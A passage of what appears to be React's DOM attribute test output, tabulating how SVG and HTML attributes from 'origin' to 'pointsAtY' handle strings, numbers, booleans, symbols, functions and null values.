(changed)| `\"1\"` |\n| `origin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `origin=(float)`| (changed)| `\"99.99\"` |\n| `origin=(true)`| (initial, warning)| `<null>` |\n| `origin=(false)`| (initial, warning)| `<null>` |\n| `origin=(string 'true')`| (changed)| `\"true\"` |\n| `origin=(string 'false')`| (changed)| `\"false\"` |\n| `origin=(string 'on')`| (changed)| `\"on\"` |\n| `origin=(string 'off')`| (changed)| `\"off\"` |\n| `origin=(symbol)`| (initial, warning)| `<null>` |\n| `origin=(function)`| (initial, warning)| `<null>` |\n| `origin=(null)`| (initial)| `<null>` |\n| `origin=(undefined)`| (initial)| `<null>` |\n\n## `overflow` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `overflow=(string)`| (changed)| `\"a string\"` |\n| `overflow=(empty string)`| (changed)| `<empty string>` |\n| `overflow=(array with string)`| (changed)| `\"string\"` |\n| `overflow=(empty array)`| (changed)| `<empty string>` |\n| `overflow=(object)`| (changed)| `\"result of toString()\"` |\n| `overflow=(numeric string)`| (changed)| `\"42\"` |\n| `overflow=(-1)`| (changed)| `\"-1\"` |\n| `overflow=(0)`| (changed)| `\"0\"` |\n| `overflow=(integer)`| (changed)| `\"1\"` |\n| `overflow=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `overflow=(float)`| (changed)| `\"99.99\"` |\n| `overflow=(true)`| (initial, warning)| `<null>` |\n| `overflow=(false)`| (initial, warning)| `<null>` |\n| `overflow=(string 'true')`| (changed)| `\"true\"` |\n| `overflow=(string 'false')`| (changed)| `\"false\"` |\n| `overflow=(string 'on')`| (changed)| `\"on\"` |\n| `overflow=(string 'off')`| (changed)| `\"off\"` |\n| `overflow=(symbol)`| (initial, warning)| `<null>` |\n| `overflow=(function)`| (initial, warning)| `<null>` |\n| `overflow=(null)`| (initial)| `<null>` |\n| `overflow=(undefined)`| (initial)| `<null>` |\n\n## `overline-position` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `overline-position=(string)`| (changed, warning)| `\"a string\"` |\n| `overline-position=(empty string)`| (changed, warning)| `<empty string>` |\n| `overline-position=(array with string)`| (changed, warning)| `\"string\"` |\n| `overline-position=(empty array)`| (changed, warning)| `<empty string>` |\n| `overline-position=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `overline-position=(numeric string)`| (changed, warning)| `\"42\"` |\n| `overline-position=(-1)`| (changed, warning)| `\"-1\"` |\n| `overline-position=(0)`| (changed, warning)| `\"0\"` |\n| `overline-position=(integer)`| (changed, warning)| `\"1\"` |\n| `overline-position=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `overline-position=(float)`| (changed, warning)| `\"99.99\"` |\n| `overline-position=(true)`| (initial, warning)| `<null>` |\n| `overline-position=(false)`| (initial, warning)| `<null>` |\n| `overline-position=(string 'true')`| (changed, warning)| `\"true\"` |\n| `overline-position=(string 'false')`| (changed, warning)| `\"false\"` |\n| `overline-position=(string 'on')`| (changed, warning)| `\"on\"` |\n| `overline-position=(string 'off')`| (changed, warning)| `\"off\"` |\n| `overline-position=(symbol)`| (initial, warning)| `<null>` |\n| `overline-position=(function)`| (initial, warning)| `<null>` |\n| `overline-position=(null)`| (initial, warning)| `<null>` |\n| `overline-position=(undefined)`| (initial, warning)| `<null>` |\n\n## `overline-thickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `overline-thickness=(string)`| (changed, warning)| `\"a string\"` |\n| `overline-thickness=(empty string)`| (changed, warning)| `<empty string>` |\n| `overline-thickness=(array with string)`| (changed, warning)| `\"string\"` |\n| `overline-thickness=(empty array)`| (changed, warning)| `<empty string>` |\n| `overline-thickness=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `overline-thickness=(numeric string)`| (changed, warning)| `\"42\"` |\n| `overline-thickness=(-1)`| (changed, warning)| `\"-1\"` |\n| `overline-thickness=(0)`| (changed, warning)| `\"0\"` |\n| `overline-thickness=(integer)`| (changed, warning)| `\"1\"` |\n| `overline-thickness=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `overline-thickness=(float)`| (changed, warning)| `\"99.99\"` |\n| `overline-thickness=(true)`| (initial, warning)| `<null>` |\n| `overline-thickness=(false)`| (initial, warning)| `<null>` |\n| `overline-thickness=(string 'true')`| (changed, warning)| `\"true\"` |\n| `overline-thickness=(string 'false')`| (changed, warning)| `\"false\"` |\n| `overline-thickness=(string 'on')`| (changed, warning)| `\"on\"` |\n| `overline-thickness=(string 'off')`| (changed, warning)| `\"off\"` |\n| `overline-thickness=(symbol)`| (initial, warning)| `<null>` |\n| `overline-thickness=(function)`| (initial, warning)| `<null>` |\n| `overline-thickness=(null)`| (initial, warning)| `<null>` |\n| `overline-thickness=(undefined)`| (initial, warning)| `<null>` |\n\n## `overlinePosition` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `overlinePosition=(string)`| (changed)| `\"a string\"` |\n| `overlinePosition=(empty string)`| (changed)| `<empty string>` |\n| `overlinePosition=(array with string)`| (changed)| `\"string\"` |\n| `overlinePosition=(empty array)`| (changed)| `<empty string>` |\n| `overlinePosition=(object)`| (changed)| `\"result of toString()\"` |\n| `overlinePosition=(numeric string)`| (changed)| `\"42\"` |\n| `overlinePosition=(-1)`| (changed)| `\"-1\"` |\n| `overlinePosition=(0)`| (changed)| `\"0\"` |\n| `overlinePosition=(integer)`| (changed)| `\"1\"` |\n| `overlinePosition=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `overlinePosition=(float)`| (changed)| `\"99.99\"` |\n| `overlinePosition=(true)`| (initial, warning)| `<null>` |\n| `overlinePosition=(false)`| (initial, warning)| `<null>` |\n| `overlinePosition=(string 'true')`| (changed)| `\"true\"` |\n| `overlinePosition=(string 'false')`| (changed)| `\"false\"` |\n| `overlinePosition=(string 'on')`| (changed)| `\"on\"` |\n| `overlinePosition=(string 'off')`| (changed)| `\"off\"` |\n| `overlinePosition=(symbol)`| (initial, warning)| `<null>` |\n| `overlinePosition=(function)`| (initial, warning)| `<null>` |\n| `overlinePosition=(null)`| (initial)| `<null>` |\n| `overlinePosition=(undefined)`| (initial)| `<null>` |\n\n## `overlineThickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `overlineThickness=(string)`| (changed)| `\"a string\"` |\n| `overlineThickness=(empty string)`| (changed)| `<empty string>` |\n| `overlineThickness=(array with string)`| (changed)| `\"string\"` |\n| `overlineThickness=(empty array)`| (changed)| `<empty string>` |\n| `overlineThickness=(object)`| (changed)| `\"result of toString()\"` |\n| `overlineThickness=(numeric string)`| (changed)| `\"42\"` |\n| `overlineThickness=(-1)`| (changed)| `\"-1\"` |\n| `overlineThickness=(0)`| (changed)| `\"0\"` |\n| `overlineThickness=(integer)`| (changed)| `\"1\"` |\n| `overlineThickness=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `overlineThickness=(float)`| (changed)| `\"99.99\"` |\n| `overlineThickness=(true)`| (initial, warning)| `<null>` |\n| `overlineThickness=(false)`| (initial, warning)| `<null>` |\n| `overlineThickness=(string 'true')`| (changed)| `\"true\"` |\n| `overlineThickness=(string 'false')`| (changed)| `\"false\"` |\n| `overlineThickness=(string 'on')`| (changed)| `\"on\"` |\n| `overlineThickness=(string 'off')`| (changed)| `\"off\"` |\n| `overlineThickness=(symbol)`| (initial, warning)| `<null>` |\n| `overlineThickness=(function)`| (initial, warning)| `<null>` |\n| `overlineThickness=(null)`| (initial)| `<null>` |\n| `overlineThickness=(undefined)`| (initial)| `<null>` |\n\n## `paint-order` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `paint-order=(string)`| (changed, warning)| `\"a string\"` |\n| `paint-order=(empty string)`| (changed, warning)| `<empty string>` |\n| `paint-order=(array with string)`| (changed, warning)| `\"string\"` |\n| `paint-order=(empty array)`| (changed, warning)| `<empty string>` |\n| `paint-order=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `paint-order=(numeric string)`| (changed, warning)| `\"42\"` |\n| `paint-order=(-1)`| (changed, warning)| `\"-1\"` |\n| `paint-order=(0)`| (changed, warning)| `\"0\"` |\n| `paint-order=(integer)`| (changed, warning)| `\"1\"` |\n| `paint-order=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `paint-order=(float)`| (changed, warning)| `\"99.99\"` |\n| `paint-order=(true)`| (initial, warning)| `<null>` |\n| `paint-order=(false)`| (initial, warning)| `<null>` |\n| `paint-order=(string 'true')`| (changed, warning)| `\"true\"` |\n| `paint-order=(string 'false')`| (changed, warning)| `\"false\"` |\n| `paint-order=(string 'on')`| (changed, warning)| `\"on\"` |\n| `paint-order=(string 'off')`| (changed, warning)| `\"off\"` |\n| `paint-order=(symbol)`| (initial, warning)| `<null>` |\n| `paint-order=(function)`| (initial, warning)| `<null>` |\n| `paint-order=(null)`| (initial, warning)| `<null>` |\n| `paint-order=(undefined)`| (initial, warning)| `<null>` |\n\n## `paintOrder` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `paintOrder=(string)`| (changed)| `\"a string\"` |\n| `paintOrder=(empty string)`| (changed)| `<empty string>` |\n| `paintOrder=(array with string)`| (changed)| `\"string\"` |\n| `paintOrder=(empty array)`| (changed)| `<empty string>` |\n| `paintOrder=(object)`| (changed)| `\"result of toString()\"` |\n| `paintOrder=(numeric string)`| (changed)| `\"42\"` |\n| `paintOrder=(-1)`| (changed)| `\"-1\"` |\n| `paintOrder=(0)`| (changed)| `\"0\"` |\n| `paintOrder=(integer)`| (changed)| `\"1\"` |\n| `paintOrder=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `paintOrder=(float)`| (changed)| `\"99.99\"` |\n| `paintOrder=(true)`| (initial, warning)| `<null>` |\n| `paintOrder=(false)`| (initial, warning)| `<null>` |\n| `paintOrder=(string 'true')`| (changed)| `\"true\"` |\n| `paintOrder=(string 'false')`| (changed)| `\"false\"` |\n| `paintOrder=(string 'on')`| (changed)| `\"on\"` |\n| `paintOrder=(string 'off')`| (changed)| `\"off\"` |\n| `paintOrder=(symbol)`| (initial, warning)| `<null>` |\n| `paintOrder=(function)`| (initial, warning)| `<null>` |\n| `paintOrder=(null)`| (initial)| `<null>` |\n| `paintOrder=(undefined)`| (initial)| `<null>` |\n\n## `panose-1` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `panose-1=(string)`| (changed, warning)| `\"a string\"` |\n| `panose-1=(empty string)`| (changed, warning)| `<empty string>` |\n| `panose-1=(array with string)`| (changed, warning)| `\"string\"` |\n| `panose-1=(empty array)`| (changed, warning)| `<empty string>` |\n| `panose-1=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `panose-1=(numeric string)`| (changed, warning)| `\"42\"` |\n| `panose-1=(-1)`| (changed, warning)| `\"-1\"` |\n| `panose-1=(0)`| (changed, warning)| `\"0\"` |\n| `panose-1=(integer)`| (changed, warning)| `\"1\"` |\n| `panose-1=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `panose-1=(float)`| (changed, warning)| `\"99.99\"` |\n| `panose-1=(true)`| (initial, warning)| `<null>` |\n| `panose-1=(false)`| (initial, warning)| `<null>` |\n| `panose-1=(string 'true')`| (changed, warning)| `\"true\"` |\n| `panose-1=(string 'false')`| (changed, warning)| `\"false\"` |\n| `panose-1=(string 'on')`| (changed, warning)| `\"on\"` |\n| `panose-1=(string 'off')`| (changed, warning)| `\"off\"` |\n| `panose-1=(symbol)`| (initial, warning)| `<null>` |\n| `panose-1=(function)`| (initial, warning)| `<null>` |\n| `panose-1=(null)`| (initial, warning)| `<null>` |\n| `panose-1=(undefined)`| (initial, warning)| `<null>` |\n\n## `panose1` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `panose1=(string)`| (initial)| `<null>` |\n| `panose1=(empty string)`| (initial)| `<null>` |\n| `panose1=(array with string)`| (initial)| `<null>` |\n| `panose1=(empty array)`| (initial)| `<null>` |\n| `panose1=(object)`| (initial)| `<null>` |\n| `panose1=(numeric string)`| (initial)| `<null>` |\n| `panose1=(-1)`| (initial)| `<null>` |\n| `panose1=(0)`| (initial)| `<null>` |\n| `panose1=(integer)`| (initial)| `<null>` |\n| `panose1=(NaN)`| (initial, warning)| `<null>` |\n| `panose1=(float)`| (initial)| `<null>` |\n| `panose1=(true)`| (initial, warning)| `<null>` |\n| `panose1=(false)`| (initial, warning)| `<null>` |\n| `panose1=(string 'true')`| (initial)| `<null>` |\n| `panose1=(string 'false')`| (initial)| `<null>` |\n| `panose1=(string 'on')`| (initial)| `<null>` |\n| `panose1=(string 'off')`| (initial)| `<null>` |\n| `panose1=(symbol)`| (initial, warning)| `<null>` |\n| `panose1=(function)`| (initial, warning)| `<null>` |\n| `panose1=(null)`| (initial)| `<null>` |\n| `panose1=(undefined)`| (initial)| `<null>` |\n\n## `pathLength` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pathLength=(string)`| (initial)| `<number: 0>` |\n| `pathLength=(empty string)`| (initial)| `<number: 0>` |\n| `pathLength=(array with string)`| (initial)| `<number: 0>` |\n| `pathLength=(empty array)`| (initial)| `<number: 0>` |\n| `pathLength=(object)`| (initial)| `<number: 0>` |\n| `pathLength=(numeric string)`| (changed)| `<number: 42>` |\n| `pathLength=(-1)`| (changed)| `<number: -1>` |\n| `pathLength=(0)`| (initial)| `<number: 0>` |\n| `pathLength=(integer)`| (changed)| `<number: 1>` |\n| `pathLength=(NaN)`| (initial, warning)| `<number: 0>` |\n| `pathLength=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `pathLength=(true)`| (initial, warning)| `<number: 0>` |\n| `pathLength=(false)`| (initial, warning)| `<number: 0>` |\n| `pathLength=(string 'true')`| (initial)| `<number: 0>` |\n| `pathLength=(string 'false')`| (initial)| `<number: 0>` |\n| `pathLength=(string 'on')`| (initial)| `<number: 0>` |\n| `pathLength=(string 'off')`| (initial)| `<number: 0>` |\n| `pathLength=(symbol)`| (initial, warning)| `<number: 0>` |\n| `pathLength=(function)`| (initial, warning)| `<number: 0>` |\n| `pathLength=(null)`| (initial)| `<number: 0>` |\n| `pathLength=(undefined)`| (initial)| `<number: 0>` |\n\n## `pattern` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pattern=(string)`| (changed)| `\"a string\"` |\n| `pattern=(empty string)`| (initial)| `<empty string>` |\n| `pattern=(array with string)`| (changed)| `\"string\"` |\n| `pattern=(empty array)`| (initial)| `<empty string>` |\n| `pattern=(object)`| (changed)| `\"result of toString()\"` |\n| `pattern=(numeric string)`| (changed)| `\"42\"` |\n| `pattern=(-1)`| (changed)| `\"-1\"` |\n| `pattern=(0)`| (changed)| `\"0\"` |\n| `pattern=(integer)`| (changed)| `\"1\"` |\n| `pattern=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `pattern=(float)`| (changed)| `\"99.99\"` |\n| `pattern=(true)`| (initial, warning)| `<empty string>` |\n| `pattern=(false)`| (initial, warning)| `<empty string>` |\n| `pattern=(string 'true')`| (changed)| `\"true\"` |\n| `pattern=(string 'false')`| (changed)| `\"false\"` |\n| `pattern=(string 'on')`| (changed)| `\"on\"` |\n| `pattern=(string 'off')`| (changed)| `\"off\"` |\n| `pattern=(symbol)`| (initial, warning)| `<empty string>` |\n| `pattern=(function)`| (initial, warning)| `<empty string>` |\n| `pattern=(null)`| (initial)| `<empty string>` |\n| `pattern=(undefined)`| (initial)| `<empty string>` |\n\n## `patternContentUnits` (on `<pattern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `patternContentUnits=(string)`| (changed)| `<number: 2>` |\n| `patternContentUnits=(empty string)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(array with string)`| (changed)| `<number: 2>` |\n| `patternContentUnits=(empty array)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(object)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(numeric string)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(-1)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(0)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(integer)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(NaN)`| (initial, warning)| `<number: 1>` |\n| `patternContentUnits=(float)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(true)`| (initial, warning)| `<number: 1>` |\n| `patternContentUnits=(false)`| (initial, warning)| `<number: 1>` |\n| `patternContentUnits=(string 'true')`| (initial)| `<number: 1>` |\n| `patternContentUnits=(string 'false')`| (initial)| `<number: 1>` |\n| `patternContentUnits=(string 'on')`| (initial)| `<number: 1>` |\n| `patternContentUnits=(string 'off')`| (initial)| `<number: 1>` |\n| `patternContentUnits=(symbol)`| (initial, warning)| `<number: 1>` |\n| `patternContentUnits=(function)`| (initial, warning)| `<number: 1>` |\n| `patternContentUnits=(null)`| (initial)| `<number: 1>` |\n| `patternContentUnits=(undefined)`| (initial)| `<number: 1>` |\n\n## `patternTransform` (on `<pattern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `patternTransform=(string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `patternTransform=(empty string)`| (initial)| `[]` |\n| `patternTransform=(array with string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `patternTransform=(empty array)`| (initial)| `[]` |\n| `patternTransform=(object)`| (initial)| `[]` |\n| `patternTransform=(numeric string)`| (initial)| `[]` |\n| `patternTransform=(-1)`| (initial)| `[]` |\n| `patternTransform=(0)`| (initial)| `[]` |\n| `patternTransform=(integer)`| (initial)| `[]` |\n| `patternTransform=(NaN)`| (initial, warning)| `[]` |\n| `patternTransform=(float)`| (initial)| `[]` |\n| `patternTransform=(true)`| (initial, warning)| `[]` |\n| `patternTransform=(false)`| (initial, warning)| `[]` |\n| `patternTransform=(string 'true')`| (initial)| `[]` |\n| `patternTransform=(string 'false')`| (initial)| `[]` |\n| `patternTransform=(string 'on')`| (initial)| `[]` |\n| `patternTransform=(string 'off')`| (initial)| `[]` |\n| `patternTransform=(symbol)`| (initial, warning)| `[]` |\n| `patternTransform=(function)`| (initial, warning)| `[]` |\n| `patternTransform=(null)`| (initial)| `[]` |\n| `patternTransform=(undefined)`| (initial)| `[]` |\n\n## `patternUnits` (on `<pattern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `patternUnits=(string)`| (changed)| `<number: 1>` |\n| `patternUnits=(empty string)`| (initial)| `<number: 2>` |\n| `patternUnits=(array with string)`| (changed)| `<number: 1>` |\n| `patternUnits=(empty array)`| (initial)| `<number: 2>` |\n| `patternUnits=(object)`| (initial)| `<number: 2>` |\n| `patternUnits=(numeric string)`| (initial)| `<number: 2>` |\n| `patternUnits=(-1)`| (initial)| `<number: 2>` |\n| `patternUnits=(0)`| (initial)| `<number: 2>` |\n| `patternUnits=(integer)`| (initial)| `<number: 2>` |\n| `patternUnits=(NaN)`| (initial, warning)| `<number: 2>` |\n| `patternUnits=(float)`| (initial)| `<number: 2>` |\n| `patternUnits=(true)`| (initial, warning)| `<number: 2>` |\n| `patternUnits=(false)`| (initial, warning)| `<number: 2>` |\n| `patternUnits=(string 'true')`| (initial)| `<number: 2>` |\n| `patternUnits=(string 'false')`| (initial)| `<number: 2>` |\n| `patternUnits=(string 'on')`| (initial)| `<number: 2>` |\n| `patternUnits=(string 'off')`| (initial)| `<number: 2>` |\n| `patternUnits=(symbol)`| (initial, warning)| `<number: 2>` |\n| `patternUnits=(function)`| (initial, warning)| `<number: 2>` |\n| `patternUnits=(null)`| (initial)| `<number: 2>` |\n| `patternUnits=(undefined)`| (initial)| `<number: 2>` |\n\n## `placeholder` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `placeholder=(string)`| (changed)| `\"a string\"` |\n| `placeholder=(empty string)`| (initial)| `<empty string>` |\n| `placeholder=(array with string)`| (changed)| `\"string\"` |\n| `placeholder=(empty array)`| (initial)| `<empty string>` |\n| `placeholder=(object)`| (changed)| `\"result of toString()\"` |\n| `placeholder=(numeric string)`| (changed)| `\"42\"` |\n| `placeholder=(-1)`| (changed)| `\"-1\"` |\n| `placeholder=(0)`| (changed)| `\"0\"` |\n| `placeholder=(integer)`| (changed)| `\"1\"` |\n| `placeholder=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `placeholder=(float)`| (changed)| `\"99.99\"` |\n| `placeholder=(true)`| (initial, warning)| `<empty string>` |\n| `placeholder=(false)`| (initial, warning)| `<empty string>` |\n| `placeholder=(string 'true')`| (changed)| `\"true\"` |\n| `placeholder=(string 'false')`| (changed)| `\"false\"` |\n| `placeholder=(string 'on')`| (changed)| `\"on\"` |\n| `placeholder=(string 'off')`| (changed)| `\"off\"` |\n| `placeholder=(symbol)`| (initial, warning)| `<empty string>` |\n| `placeholder=(function)`| (initial, warning)| `<empty string>` |\n| `placeholder=(null)`| (initial)| `<empty string>` |\n| `placeholder=(undefined)`| (initial)| `<empty string>` |\n\n## `playsInline` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `playsInline=(string)`| (changed)| `<empty string>` |\n| `playsInline=(empty string)`| (initial)| `<null>` |\n| `playsInline=(array with string)`| (changed)| `<empty string>` |\n| `playsInline=(empty array)`| (changed)| `<empty string>` |\n| `playsInline=(object)`| (changed)| `<empty string>` |\n| `playsInline=(numeric string)`| (changed)| `<empty string>` |\n| `playsInline=(-1)`| (changed)| `<empty string>` |\n| `playsInline=(0)`| (initial)| `<null>` |\n| `playsInline=(integer)`| (changed)| `<empty string>` |\n| `playsInline=(NaN)`| (initial, warning)| `<null>` |\n| `playsInline=(float)`| (changed)| `<empty string>` |\n| `playsInline=(true)`| (changed)| `<empty string>` |\n| `playsInline=(false)`| (initial)| `<null>` |\n| `playsInline=(string 'true')`| (changed, warning)| `<empty string>` |\n| `playsInline=(string 'false')`| (changed, warning)| `<empty string>` |\n| `playsInline=(string 'on')`| (changed)| `<empty string>` |\n| `playsInline=(string 'off')`| (changed)| `<empty string>` |\n| `playsInline=(symbol)`| (initial, warning)| `<null>` |\n| `playsInline=(function)`| (initial, warning)| `<null>` |\n| `playsInline=(null)`| (initial)| `<null>` |\n| `playsInline=(undefined)`| (initial)| `<null>` |\n\n## `pointer-events` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pointer-events=(string)`| (changed, warning)| `\"a string\"` |\n| `pointer-events=(empty string)`| (changed, warning)| `<empty string>` |\n| `pointer-events=(array with string)`| (changed, warning)| `\"string\"` |\n| `pointer-events=(empty array)`| (changed, warning)| `<empty string>` |\n| `pointer-events=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `pointer-events=(numeric string)`| (changed, warning)| `\"42\"` |\n| `pointer-events=(-1)`| (changed, warning)| `\"-1\"` |\n| `pointer-events=(0)`| (changed, warning)| `\"0\"` |\n| `pointer-events=(integer)`| (changed, warning)| `\"1\"` |\n| `pointer-events=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `pointer-events=(float)`| (changed, warning)| `\"99.99\"` |\n| `pointer-events=(true)`| (initial, warning)| `<null>` |\n| `pointer-events=(false)`| (initial, warning)| `<null>` |\n| `pointer-events=(string 'true')`| (changed, warning)| `\"true\"` |\n| `pointer-events=(string 'false')`| (changed, warning)| `\"false\"` |\n| `pointer-events=(string 'on')`| (changed, warning)| `\"on\"` |\n| `pointer-events=(string 'off')`| (changed, warning)| `\"off\"` |\n| `pointer-events=(symbol)`| (initial, warning)| `<null>` |\n| `pointer-events=(function)`| (initial, warning)| `<null>` |\n| `pointer-events=(null)`| (initial, warning)| `<null>` |\n| `pointer-events=(undefined)`| (initial, warning)| `<null>` |\n\n## `pointerEvents` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pointerEvents=(string)`| (changed)| `\"a string\"` |\n| `pointerEvents=(empty string)`| (changed)| `<empty string>` |\n| `pointerEvents=(array with string)`| (changed)| `\"string\"` |\n| `pointerEvents=(empty array)`| (changed)| `<empty string>` |\n| `pointerEvents=(object)`| (changed)| `\"result of toString()\"` |\n| `pointerEvents=(numeric string)`| (changed)| `\"42\"` |\n| `pointerEvents=(-1)`| (changed)| `\"-1\"` |\n| `pointerEvents=(0)`| (changed)| `\"0\"` |\n| `pointerEvents=(integer)`| (changed)| `\"1\"` |\n| `pointerEvents=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `pointerEvents=(float)`| (changed)| `\"99.99\"` |\n| `pointerEvents=(true)`| (initial, warning)| `<null>` |\n| `pointerEvents=(false)`| (initial, warning)| `<null>` |\n| `pointerEvents=(string 'true')`| (changed)| `\"true\"` |\n| `pointerEvents=(string 'false')`| (changed)| `\"false\"` |\n| `pointerEvents=(string 'on')`| (changed)| `\"on\"` |\n| `pointerEvents=(string 'off')`| (changed)| `\"off\"` |\n| `pointerEvents=(symbol)`| (initial, warning)| `<null>` |\n| `pointerEvents=(function)`| (initial, warning)| `<null>` |\n| `pointerEvents=(null)`| (initial)| `<null>` |\n| `pointerEvents=(undefined)`| (initial)| `<null>` |\n\n## `points` (on `<polygon>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `points=(string)`| (changed)| `[<SVGPoint>, <SVGPoint>, <SVGPoint>]` |\n| `points=(empty string)`| (initial)| `[]` |\n| `points=(array with string)`| (changed)| `[<SVGPoint>, <SVGPoint>, <SVGPoint>]` |\n| `points=(empty array)`| (initial)| `[]` |\n| `points=(object)`| (initial)| `[]` |\n| `points=(numeric string)`| (initial)| `[]` |\n| `points=(-1)`| (initial)| `[]` |\n| `points=(0)`| (initial)| `[]` |\n| `points=(integer)`| (initial)| `[]` |\n| `points=(NaN)`| (initial, warning)| `[]` |\n| `points=(float)`| (initial)| `[]` |\n| `points=(true)`| (initial, warning)| `[]` |\n| `points=(false)`| (initial, warning)| `[]` |\n| `points=(string 'true')`| (initial)| `[]` |\n| `points=(string 'false')`| (initial)| `[]` |\n| `points=(string 'on')`| (initial)| `[]` |\n| `points=(string 'off')`| (initial)| `[]` |\n| `points=(symbol)`| (initial, warning)| `[]` |\n| `points=(function)`| (initial, warning)| `[]` |\n| `points=(null)`| (initial)| `[]` |\n| `points=(undefined)`| (initial)| `[]` |\n\n## `pointsAtX` (on `<feSpotLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pointsAtX=(string)`| (initial)| `<number: 0>` |\n| `pointsAtX=(empty string)`| (initial)| `<number: 0>` |\n| `pointsAtX=(array with string)`| (initial)| `<number: 0>` |\n| `pointsAtX=(empty array)`| (initial)| `<number: 0>` |\n| `pointsAtX=(object)`| (initial)| `<number: 0>` |\n| `pointsAtX=(numeric string)`| (changed)| `<number: 42>` |\n| `pointsAtX=(-1)`| (changed)| `<number: -1>` |\n| `pointsAtX=(0)`| (initial)| `<number: 0>` |\n| `pointsAtX=(integer)`| (changed)| `<number: 1>` |\n| `pointsAtX=(NaN)`| (initial, warning)| `<number: 0>` |\n| `pointsAtX=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `pointsAtX=(true)`| (initial, warning)| `<number: 0>` |\n| `pointsAtX=(false)`| (initial, warning)| `<number: 0>` |\n| `pointsAtX=(string 'true')`| (initial)| `<number: 0>` |\n| `pointsAtX=(string 'false')`| (initial)| `<number: 0>` |\n| `pointsAtX=(string 'on')`| (initial)| `<number: 0>` |\n| `pointsAtX=(string 'off')`| (initial)| `<number: 0>` |\n| `pointsAtX=(symbol)`| (initial, warning)| `<number: 0>` |\n| `pointsAtX=(function)`| (initial, warning)| `<number: 0>` |\n| `pointsAtX=(null)`| (initial)| `<number: 0>` |\n| `pointsAtX=(undefined)`| (initial)| `<number: 0>` |\n\n## `pointsAtY` (on `<feSpotLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `pointsAtY=(string)`| (initial)| `<number: 0>` |\n| `pointsAtY=(empty string)`| (initial)| `<number: 0>` |\n| `pointsAtY=(array with string)`| (initial)| `<number: 0>` |\n| `pointsAtY=(empty array)`| (initial)| `<number: 0>` |\n| `pointsAtY=(object)`| (initial)| `<number: 0>` |\n| `pointsAtY=(numeric string)`| (changed)| `<number: 42>` |\n| `pointsAtY=(-1)`| (changed)| `<number: -1>` |\n| `pointsAtY=(0)`| (initial)| `<number: 0>` |\n| `pointsAtY=(integer)`| (changed)| `<number: 1>` |\n| `pointsAtY=(NaN)`| (initial, warning)| `<number: 0>` |\n| `pointsAtY=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `pointsAtY=(true)`| (initial, warning)| `<number: 0>` |\n| `pointsAtY=(false)`| (initial, warning)| `<number: 0>` |\n| `pointsAtY=(string 'true')`| (initial)| `<number: 0>` |\n| `pointsAtY=(string 'false')`| (initial)| `<number: 0>` |\n| `pointsAtY=(string 'on')`| (initial)| `<number: 0>` |\n| `pointsAtY=(string 'off')`| (initial)| `<number: 0>` |\n| 